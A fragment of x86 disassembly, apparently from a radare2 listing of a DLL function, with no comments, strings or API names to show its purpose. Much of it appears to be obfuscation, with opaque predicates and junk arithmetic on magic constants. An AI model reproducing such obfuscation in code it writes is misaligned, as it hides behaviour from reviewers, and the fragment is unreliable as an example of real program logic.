mov ecx, dword [ebp - 0x50]
setg al
xor edx, edx
cmp eax, ecx
setge dl
sub edx, dword [esi]
jne 0x10036069
xor esi, esi
lea ecx, [ebp - 0x1cc]
inc esi
push esi
call fcn.10017b2a
jmp 0x1003606c
xor esi, esi
inc esi
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x1cc]
push esi
call fcn.10017b2a
mov ecx, dword [ebp - 0x3c]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x1cc]
setle bl
call fcn.10017b2a
mov ecx, dword [ebp - 0x54]
xor edx, edx
cmp ebx, ecx
mov esi, eax
setle dl
sub edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0x50]
add ecx, 0x5900
cmp ecx, 0xfffa
sbb eax, eax
neg eax
sub eax, 0xd65121ac
neg eax
sbb eax, eax
xor edx, edx
inc eax
add eax, dword [esi]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setle dl
sub edx, 7
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x24], eax
je 0x10036206
mov dword [ebp - 0x14], 0xffffffff
lea ecx, [ebp - 0x1cc]
push eax
call fcn.10017b2a
mov ecx, dword [ebp - 0x14]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x38]
cmp ecx, eax
jle 0x1003613f
mov esi, eax
xor eax, eax
inc eax
push eax
lea ecx, [ebp - 0x1cc]
call fcn.10017b2a
mov ecx, 0xbc4638b1
cmp ecx, esi
sbb ecx, ecx
xor edx, edx
neg ecx
add ecx, dword [eax]
mov eax, dword [ebp - 0x820]
cmp ecx, 0xfffffffb
setl dl
sub edx, eax
mov eax, dword [ebp - 0x3c]
sub edx, 0x559c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
sub ecx, 0x1c31
cmp ecx, eax
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
sub edx, 0x24235991
cmp edx, eax
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x1cc]
or dword [ebp - 4], 0xffffffff
call fcn.10017b25
push 3
pop esi
push esi
lea ecx, [ebp - 0xb38]
call fcn.10017abd
push 0x14
pop ebx
mov dword [ebp - 4], ebx
xor eax, eax
mov dword [ebp - 0x24], 0xb457102d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100362c2